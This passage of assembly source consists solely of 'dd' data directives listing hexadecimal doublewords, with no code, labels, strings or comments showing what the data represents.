6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h, 0F29D1399h dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h, 40DE580Ah dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h, 90F7C006h dd 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h, 92598043h dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h, 0E3B72E0h dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h, 8F4257B5h dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h dd 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh, 0F055A9C2h dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh dd 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h, 6F77E04Dh dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h, 1FF3F77h dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h dd 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h, 0E08A4BB5h dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h, 0A9E8CF0Bh dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h, 0FD4F035h dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh, 7B9854EFh dd 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh dd 0D0B6FDA2h, 0C985EC82h dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h dd 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h, 0B1F90017h dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h dd 8060094h, 50FE1391h, 205C67FDh, 575E0011h, 2590E9D6h dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh, 0EE09F9D8h dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh, 4FFF0022h dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh, 6233DAB0h dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h dd 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh, 44748861h dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h, 2A001E75h dd 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h, 3A62860Bh dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h, 0F633C7A8h dd 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh, 0F0440187h dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h, 0B297C44Ch dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h, 0C948A40Ah dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h, 7F4ACC7h dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh dd 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h, 144D0500h dd 24731682h, 2210032h, 774CCE54h, 2B005033h, 0B78EF44Dh dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh, 30E2B810h dd 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h, 0DF900FF0h dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h dd 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h, 373E14CEh dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h dd 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh, 1C00752Fh dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah, 90014EBh dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh, 0ECF32DEAh dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h, 1A012A61h dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah, 6A7F2736h dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h, 90DE4302h dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h, 806DE41Fh dd 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h, 0A281A54Dh dd 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h, 0EB100403h dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h, 340062C9h dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h, 0BD00C27Ah dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h dd 50E88060h, 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh dd 66D900A4h, 0A114B8FCh dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h dd 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh dd 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h dd 0D1E88980h, 1788B6h, 948A8278h, 7F913967h, 9E4C2100h dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h, 9226BBE8h dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h, 0DF23E828h dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h, 549E1042h dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h dd 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh, 7A4A3C38h dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h dd 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h, 0F21217A0h dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h, 0E800F43Ch dd 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h, 0EDCC0900h dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h, 965C66F2h dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah, 0F6013347h dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h, 0A28670B9h dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh, 807DE949h dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh, 2D7B5D3Ch dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh, 0CCDDD022h dd 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh, 3C3FDE0Ah dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h dd 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch, 100A211Ch dd 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch, 0F949DA00h dd 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h, 0B2F46E29h dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h, 43FCDD0Fh dd 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah, 1D007051h dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh, 0B60A5Ch dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h, 0B2C2C0BBh dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h, 0B0189198h dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h, 3C704431h dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch dd 24D22045h, 31848C4h, 10B1B899h, 0A2077813h, 51706E08h dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h, 24B044D8h dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h, 0B4396883h dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h, 2FE2F84Dh dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h, 914CF13Ch dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh, 36BC4105h dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h dd 5A40800Fh, 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh dd 0D7DAF7A7h, 0B1E46A6Fh dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h dd 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h, 0C57C031Eh dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h dd 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h dd 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh, 26B8B701h dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h, 7B2B202Fh dd 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h, 8C5AE8Fh dd 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h, 5A80E84Ch dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh dd 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h, 1C042498h dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh dd 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh, 0F8125588h dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h, 33C697F3h dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h, 4EE5C180h dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh, 6084482Ah dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h, 2BE35680h dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh dd 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah dd 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h, 3880500h dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h dd 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h, 7475F425h dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h, 1CC9B258h dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh, 2104E12Fh dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h, 0FAA8D401h dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh, 3187BF2h dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h, 0EBED7739h dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh, 53120088h dd 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h, 0B46B840Fh dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h, 607A00D1h dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h dd 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h, 24C4811Eh dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h, 261EBA7Dh dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h dd 5CD4B81Dh, 